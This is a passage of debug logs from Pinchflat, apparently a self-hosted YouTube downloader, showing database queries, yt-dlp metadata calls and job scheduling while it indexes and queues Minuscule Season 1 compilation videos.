AS m0 WHERE (m0."id" = ?) [1] 00:47:12.752 [debug] QUERY OK source="settings" db=0.3ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:12.753 [debug] QUERY OK source="settings" db=0.2ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:12.754 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 00:47:12.754 [debug] Current batch of media processed. Will check again in 1000ms 00:47:12.754 [debug] QUERY OK source="settings" db=0.3ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:12.755 [debug] QUERY OK source="settings" db=0.2ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:12.755 [debug] QUERY OK source="settings" db=0.2ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:12.756 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Miniscule Season 1/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:2160,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a2/33/a233104d6826bcecffd3af6783dfac441be697ec590f17e11093642f381cba1f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:47:13.755 [debug] Current batch of media processed. Will check again in 1000ms 00:47:14.756 [debug] Current batch of media processed. Will check again in 1000ms 00:47:15.757 [debug] Current batch of media processed. Will check again in 1000ms 00:47:16.758 [debug] Current batch of media processed. Will check again in 1000ms 00:47:17.759 [debug] Current batch of media processed. Will check again in 1000ms 00:47:18.760 [debug] Current batch of media processed. Will check again in 1000ms 00:47:19.761 [debug] Current batch of media processed. Will check again in 1000ms 00:47:20.762 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Good Education | S01E56\n00:04:47 | Hyperactive | S01E54\n00:09:28 | The Right Seed | S01E57\n00:14:14 | The Escapist | S01E59\n00:18:43 | Leech | S01E73\n00:23:07 | Mad Fly | S01E55\n00:27:46 | A Cruel World | S01E46\n00:32:35 | Love Story | S01E03\n00:37:24 | A Bee’s Night Out | S01E51\n00:42:12 | The Ladybug | S01E01\n00:46:49 | The Wild Bunch | S01E74\n00:51:28 | The Last Supper | S01E25\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#education #mother #ladybug #babies #hyperactive #baby #bees #trouble #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3408, "filename" => "/downloads/Miniscule Season 1/2025-12-11 The Good Education | Minuscule | 70' Compilation/The Good Education | Minuscule | 70' Compilation [ZgQjJ1kgUGE].mp4", "id" => "ZgQjJ1kgUGE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ZgQjJ1kgUGE", "playlist_index" => 1, "timestamp" => 1765450872, "title" => "The Good Education | Minuscule | 70' Compilation", "upload_date" => "20251211"} 00:47:20.763 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=117.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:47:20.764 [debug] QUERY OK source="sources" db=0.4ms idle=119.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:20.766 [debug] QUERY OK source="media_items" db=1.3ms idle=119.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-11 11:01:12Z], 4] 00:47:20.786 [debug] QUERY OK source="media_items" db=18.8ms idle=121.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Good Education | S01E56\n00:04:47 | Hyperactive | S01E54\n00:09:28 | The Right Seed | S01E57\n00:14:14 | The Escapist | S01E59\n00:18:43 | Leech | S01E73\n00:23:07 | Mad Fly | S01E55\n00:27:46 | A Cruel World | S01E46\n00:32:35 | Love Story | S01E03\n00:37:24 | A Bee’s Night Out | S01E51\n00:42:12 | The Ladybug | S01E01\n00:46:49 | The Wild Bunch | S01E74\n00:51:28 | The Last Supper | S01E25\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#education #mother #ladybug #babies #hyperactive #baby #bees #trouble #Minuscule #nature #insects #ladybugs #animatedseries", "The Good Education | Minuscule | 70' Compilation", "e40b1d81-4356-4358-8fb9-863d2926d05f", "ZgQjJ1kgUGE", 3408, false, 4, "https://www.youtube.com/watch?v=ZgQjJ1kgUGE", 1, "/downloads/Miniscule Season 1/2025-12-11 The Good Education | Minuscule | 70' Compilation/The Good Education | Minuscule | 70' Compilation [ZgQjJ1kgUGE].mp4", false, false, false, [], 0, ~U[2025-12-11 11:01:12Z], ~U[2025-12-14 07:47:20Z], ~U[2025-12-14 07:47:20Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Good Education | S01E56\n00:04:47 | Hyperactive | S01E54\n00:09:28 | The Right Seed | S01E57\n00:14:14 | The Escapist | S01E59\n00:18:43 | Leech | S01E73\n00:23:07 | Mad Fly | S01E55\n00:27:46 | A Cruel World | S01E46\n00:32:35 | Love Story | S01E03\n00:37:24 | A Bee’s Night Out | S01E51\n00:42:12 | The Ladybug | S01E01\n00:46:49 | The Wild Bunch | S01E74\n00:51:28 | The Last Supper | S01E25\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#education #mother #ladybug #babies #hyperactive #baby #bees #trouble #Minuscule #nature #insects #ladybugs #animatedseries", "The Good Education | Minuscule | 70' Compilation", "ZgQjJ1kgUGE", 3408, false, 4, "https://www.youtube.com/watch?v=ZgQjJ1kgUGE", "/downloads/Miniscule Season 1/2025-12-11 The Good Education | Minuscule | 70' Compilation/The Good Education | Minuscule | 70' Compilation [ZgQjJ1kgUGE].mp4", false, ~U[2025-12-11 11:01:12Z]] 00:47:20.786 [debug] QUERY OK source="sources" db=0.3ms idle=31.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:20.787 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=23.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:47:20.788 [debug] QUERY OK source="media_items" db=0.5ms idle=23.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102834] 00:47:20.788 [info] Kicking off download for media item #102834 (ZgQjJ1kgUGE) 00:47:20.792 [debug] QUERY OK source="tasks" db=0.4ms queue=0.1ms idle=4.5ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2630, 102834, ~U[2025-12-14 07:47:20Z], ~U[2025-12-14 07:47:20Z]] 00:47:20.792 [debug] Current batch of media processed. Will check again in 1000ms 00:47:20.798 [info] {"args":{"id":102834},"id":2630,"meta":{},"system_time":1765698440798534205,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 00:47:20.799 [debug] QUERY OK source="media_items" db=0.3ms idle=10.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102834] 00:47:20.799 [info] User scripts lifecyle file either not present or is empty. Skipping. 00:47:20.800 [debug] QUERY OK source="sources" db=0.4ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:20.801 [debug] QUERY OK source="media_profiles" db=0.4ms idle=9.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:47:20.802 [debug] QUERY OK source="media_items" db=0.5ms idle=9.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102834] 00:47:20.803 [debug] QUERY OK source="media_metadata" db=0.2ms idle=4.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [102834] 00:47:20.804 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:47:20.804 [debug] QUERY OK source="settings" db=0.2ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:20.805 [debug] QUERY OK source="settings" db=0.1ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:20.827 [debug] Running yt-dlp command for action: get_downloadable_status 00:47:20.828 [debug] QUERY OK source="settings" db=0.1ms idle=26.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:20.829 [debug] QUERY OK source="settings" db=0.2ms idle=25.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:20.829 [debug] QUERY OK source="settings" db=0.3ms idle=25.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:47:20.830 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZgQjJ1kgUGE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f3/2f/f32f582427f766fb82c33a87039f11e28c73a3048619c1ea8423c61659eb9407.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:47:21.793 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #trF60an2D8k/youtube video #trF60an2D8k [trF60an2D8k].NA", "id" => "trF60an2D8k", "original_url" => "https://www.youtube.com/watch?v=trF60an2D8k", "playlist_index" => 2, "title" => "youtube video #trF60an2D8k"} 00:47:21.794 [debug] QUERY OK source="sources" db=0.3ms idle=988.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:47:21.794 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #HPnXeeUGxNc/youtube video #HPnXeeUGxNc [HPnXeeUGxNc].NA", "id" => "HPnXeeUGxNc", "original_url" => "https://www.youtube.com/watch?v=HPnXeeUGxNc", "playlist_index" => 3, "title" => "youtube video #HPnXeeUGxNc"} 00:47:21.795 [debug] QUERY OK source="sources" db=0.3ms idle=965.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:47:21.795 [debug] Current batch of media processed. Will check again in 1000ms 00:47:22.796 [debug] Current batch of media processed. Will check again in 1000ms 00:47:23.797 [debug] Current batch of media processed. Will check again in 1000ms 00:47:24.798 [debug] Current batch of media processed. Will check again in 1000ms 00:47:25.799 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Mosquito Day Afternoon | S01E72\n00:04:39 | The Mosquito | S01E58\n00:08:49 | Torpedo | S01E52\n00:13:28 | A Gust Of Wind | S01E13\n00:18:09 | Interior Cobwebs | S01E64\n00:22:36 | Picnic | S01E24\n00:27:21 | Nap Time | S01E14\n00:32:09 | The Last Supper | S01E25\n00:36:59 | King Size Camembert | S01E45\n00:41:38 | Mad Fly | S01E55\n00:46:16 | Come Christmas | S01E63\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#mosquito #disaster #afternoon #livingroom #trapped #domino #surprises #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3087, "filename" => "/downloads/Miniscule Season 1/2025-12-13 A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation/A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation [B9tGisEtM6I].mp4", "id" => "B9tGisEtM6I", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=B9tGisEtM6I", "playlist_index" => 4, "timestamp" => 1765609208, "title" => "A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation", "upload_date" => "20251213"} 00:47:25.800 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1154.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:47:25.801 [debug] QUERY OK source="sources" db=0.3ms idle=1037.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:47:25.802 [debug] QUERY OK source="media_items" db=1.0ms idle=156.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-13 07:00:08Z], 4] 00:47:25.813 [debug] QUERY OK source="media_items" db=9.8ms idle=157.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Mosquito Day Afternoon | S01E72\n00:04:39 | The Mosquito | S01E58\n00:08:49 | Torpedo | S01E52\n00:13:28 | A Gust Of Wind | S01E13\n00:18:09 | Interior Cobwebs | S01E64\n00:22:36 | Picnic | S01E24\n00:27:21 | Nap Time | S01E14\n00:32:09 | The Last Supper | S01E25\n00:36:59 | King Size Camembert | S01E45\n00:41:38 | Mad Fly | S01E55\n00:46:16 | Come Christmas | S01E63\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#mosquito #disaster #afternoon #livingroom #trapped #domino #surprises #Minuscule #nature #insects #ladybugs #animatedseries", "A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation", "038d16a4-24d4-4f68-9008-3b06147b2dcf", "B9tGisEtM6I", 3087, false, 4, "https://www.youtube.com/watch?v=B9tGisEtM6I", 4, "/downloads/Miniscule Season 1/2025-12-13 A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation/A Mosquito Day Afternoon | Minuscule 🍃 60' Compilation [B9tGisEtM6I].mp4", false, false, false, [], 0, ~U[2025-12-13 07:00:08Z], ~U[2025-12-14 07:47:25Z], ~U[2025-12-14 07:47:25Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Mosquito Day Afternoon | S01E72\n00:04:39 | The Mosquito | S01E58\n00:08:49 | Torpedo | S01E52\n00:13:28 | A Gust Of Wind | S01E13\n00:18:09 | Interior Cobwebs | S01E64\n00:22:36 | Picnic | S01E24\n00:27:21 | Nap Time | S01E14\n00:32:09 | The Last Supper | S01E25\n00:36:59 | King Size Camembert | S01E45\n00:41:38 | Mad Fly | S01E55\n00:46:16 | Come Christmas | S01E63\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: 